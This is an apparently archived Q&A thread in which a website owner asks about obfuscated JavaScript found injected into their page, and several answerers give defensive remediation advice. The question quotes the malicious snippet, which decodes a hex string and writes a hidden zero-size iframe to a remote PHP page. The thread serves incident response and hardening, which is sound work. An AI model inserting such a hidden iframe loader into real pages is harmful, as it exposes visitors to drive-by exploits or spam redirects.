I have a website, and I just discovered that somehow someone injected JavaScript on my page. How can I figure out what it does and how they did it?

<script> var x = unescape("%68% (**** some other hex characters here
****%74%2e%63%6e%2f%76%69%64");document.write("<i"+"fr"+"am"+"e 
s"+"r"+"c=\""+x+"/ind"+"e"+"x.p"+"hp\" w"+"id"+"th=\"0\" he"+"i"+"ght=\"0\" 
fr"+"a"+"m"+"ebor"+"de"+"r=\"0\"><"+"/ifra"+"m"+"e>"); </script>

Which I'm not sure how got there. Anyone know how it got there? and what I can do to remove it?

I have a website, and I just discovered that somehow someone injected JavaScript on my page. How can I figure out what it does and how they did it?

<script> var x = unescape("%68% (**** some other hex characters here
****%74%2e%63%6e%2f%76%69%64");document.write("<i"+"fr"+"am"+"e 
s"+"r"+"c=\""+x+"/ind"+"e"+"x.p"+"hp\" w"+"id"+"th=\"0\" he"+"i"+"ght=\"0\" 
fr"+"a"+"m"+"ebor"+"de"+"r=\"0\"><"+"/ifra"+"m"+"e>"); </script>

Which I'm not sure how got there. Anyone know how it got there? and what I can do to remove it?

• javascript
• php
• security
• xss

• 1 it's php...I'm usiong a web host server – thegunner Commented Oct 30, 2009 at 16:25
• 6 This does NOT belong on SuperUser. This is programming related. – George Stocker Commented Oct 30, 2009 at 16:27
• 1 Cleared the votes to migrate to superuser. This is definitely not a SU question. – Bill the Lizard Commented Oct 30, 2009 at 16:31
• 1 "My server got compromised, how did it happen?" is programming related? The only programming question here is "what does this code do," which if asked alone would undoubtedly lead to a close as not a real question. This is a ServerFault question, and is not programming related. That said, I have answered it as it's a really critical situation for the asker. – Jed Smith Commented Oct 30, 2009 at 16:36
• 2 @Jed Smith it's programming related because the cause of him getting infected is most likely his code. Telling him how to fix the code issues is paramount. The likelihood of being hacked outside of a bug in your code is a lot lower than the liklihood of being hacked because of bad code. – George Stocker Commented Oct 30, 2009 at 17:00

6 Answers 6

You need to know this now:

We see this at Linode quite a bit, and it's an indication that your server has been compromised by an attacker. When unescaped, it's likely to be a browser exploit that will infect your users, or a link to a spam site.

Save everything with the injected code for later analysis, and redeploy your entire server and Web stack immediately. The attacker undoubtedly has at least a shell on your box, and that will inevitably lead to root if he's crafty.

Redeploy now, keep your applications up to date, stop writing exploitable PHP, and lock down your user accounts with strong passwords or SSH keys. Not trying to pimp my company or anything, but this is such a common occurrence on poorly-managed Web boxen that we've written an article about how to completely redeploy from scratch. I suggest it several times a day.

EDIT: If you're downvoting me, please say why -- I've triaged three cases with this exact code, so I'm not making things up.

EDIT 2: There is one regard where I may be overestimating the situation, and it's only because I'm an employee of a VPS company (and I see this a lot). I made a mistake in assuming that this user's "Web host" was a server under his control, not shared hosting. That was a mistake, but there still is the chance that I'm right.

Compromise is a desperate situation where working in the dark can have disastrous consequences. If you do not know why an unauthorized party gained access to your infrastructure, you cannot rectify the problem. Since everyone assumed we're talking about managed, shared hosting here -- there is the chance that you're right and XSS is to blame. Again, the question was not presented with much data, and compromise is a situation that is not treated with enough gravity among developers in general.

I'm honestly tired of tickets that we open where a box is hitting another on the Internet with SSH probes, DoS data, URL injection, or anything for that matter -- and the Rails or PHP developer administering the box has no idea why it happened or what he can do about it. These are all things that indicate system compromise, not XSS. Therefore, my assumption that this was a server under the OP's control was misplaced, but it's forgivable (I hope) because I'm at work right now, handling those tickets.

If you'd like me to delete my answer, just say so, but I don't see any others getting votes.

Since you mentioned PHP, I'll run through a list of possible ways it could have happened. This list is not all-inclusive; but it will allow you to do a fair amount of investigation into what happened.

1. It's possible your web host was hacked and this was placed into your page through lax security on their part. However, do not assume this is the case. This should be your last resort.

2. It's probably your fault. I don't say this to point blame; but the sooner we developers realize we're the cause of our problems, the better off we'll all be. The only developer I don't trust is the one that says he doesn't make mistakes.

3. Your site was probably hit with an XSS attack.

   • Do you have any way for a user to type in information on your website? Do you use any textboxes or anything that would allow input from the user?

If so, then your site is vulnerable to XSS and other attacks. Here's a 'cheat-sheet' that will tell you general things you can do to mitigate this.

4. You should not allow any user data to pass to the database without being parametrized.

5. If you're going to allow a user to insert HTML, then you need to sanitize it.

6. Don't use magic quotes.

There are many ways this could have happened, but without more information, I'm going off of what you've written.

Steps:

1. Take the app offline.
2. Query your database to see how many pages / entries this has been injected into.
3. Check through your code for the things I mention.
4. Fix those.
5. Go through your database and take out any suspect lines (a SQL script would be easiest).
6. Re-deploy App.
7. Make sure you keep an eye on your webserver logs. They're a godsend to determining where the attack came from.

Are you using any 3rd party applications that have security holes? For example, a while back we had an issue with an old version of FCK editor, set up in the default location with all the samples folders in place that were being used to upload bad files.

The obfuscated part unescapes to "t.cn/vid"

As I see your pages are been injected in code, so this was done because there is a security hole in your server or in any application running on it. The hacker has writing capabilities to your scripts and the solution can be so easy as changing your FTP password or so complex as searching for a hole in any application installed in your server.

But first try to change your FTP password, Change it by a very hard to guess one, at least 12 characters long with any special character on it. I have heard that there was a brute force attack being directed from russian hackers that was injecting scripts in the headers of the pages to redirect the users to any other sites for any obscure purpose.

It's less likely that this was done through your own code (since the code, nor the possible exploits for this are usually not widely known -- but that's obviously no reason not to secure it), but do a check for common but outdated apps (WordPress, Drupal, ...) on your account.

I've encountered something similar a few days ago, it turned out that there was an old WordPress (v2.0 I think) blog installed through which they could gain access.

If you can, also check your server logs for the time that your PHP files on the server were last modified. In my case, it gave a clear record of how they entered and what to do against it.